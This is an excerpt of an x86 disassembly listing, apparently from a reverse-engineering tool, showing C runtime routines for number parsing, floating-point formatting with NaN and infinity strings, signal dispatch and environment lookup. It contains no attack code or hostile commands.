loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------


loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------


loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_433E7C, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------


loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------


loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E


loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E


loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------


loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8


loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------


loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------


loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777


loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9


loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax


loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------


loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E


loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7


loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------


loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi


loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_433E7C, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------


loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------


loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h


loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi


loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_433E7C, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------


loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------


loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx


loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]


loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------


loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]


loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E


loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------


loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax


loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]


loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]


loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1


loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------


loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------


loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h


loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35


loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------


loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D


loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------


loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------


loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"


loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------


loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------


loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx


loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------


loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]


loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi


loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A


loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D


loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx


loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]


loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14


loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------


loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB


loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]


loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]


loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------


loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD


loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_4CDC94
		mov	eax, offset dword_4CDC94
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_4CDC90
		mov	eax, offset dword_4CDC90
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_4CDC98
		mov	eax, offset dword_4CDC98
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_4CDC8C
		mov	eax, offset dword_4CDC8C


loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6


loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD


loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_4CDA68
		and	dword_4CDA68, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_4362EC
		mov	dword_4362EC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------


loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]


loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_4362E0
		mov	ecx, dword_4362E4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:436270h[edx*4]


loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------


loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41


loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_4362EC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------


loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62


loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_4CDA68, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_4362EC, eax


loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx


loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4362E8
		cmp	dword_43626C, edx
		push	esi
		mov	eax, offset dword_436268
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:436268h[esi*4]


loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B


loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:436268h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD


loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_4CF030, 0
		push	ebx
		push	esi
		mov	esi, dword_4CD9DC
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_4CD9E4, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_4CD9DC
		test	esi, esi
		jz	short loc_421E25


loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax


loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D


loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------


loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------


loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax


loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4CEDE0
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------


loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h


loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_4CD9B4, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------


loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_4CD9B4, 9


loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
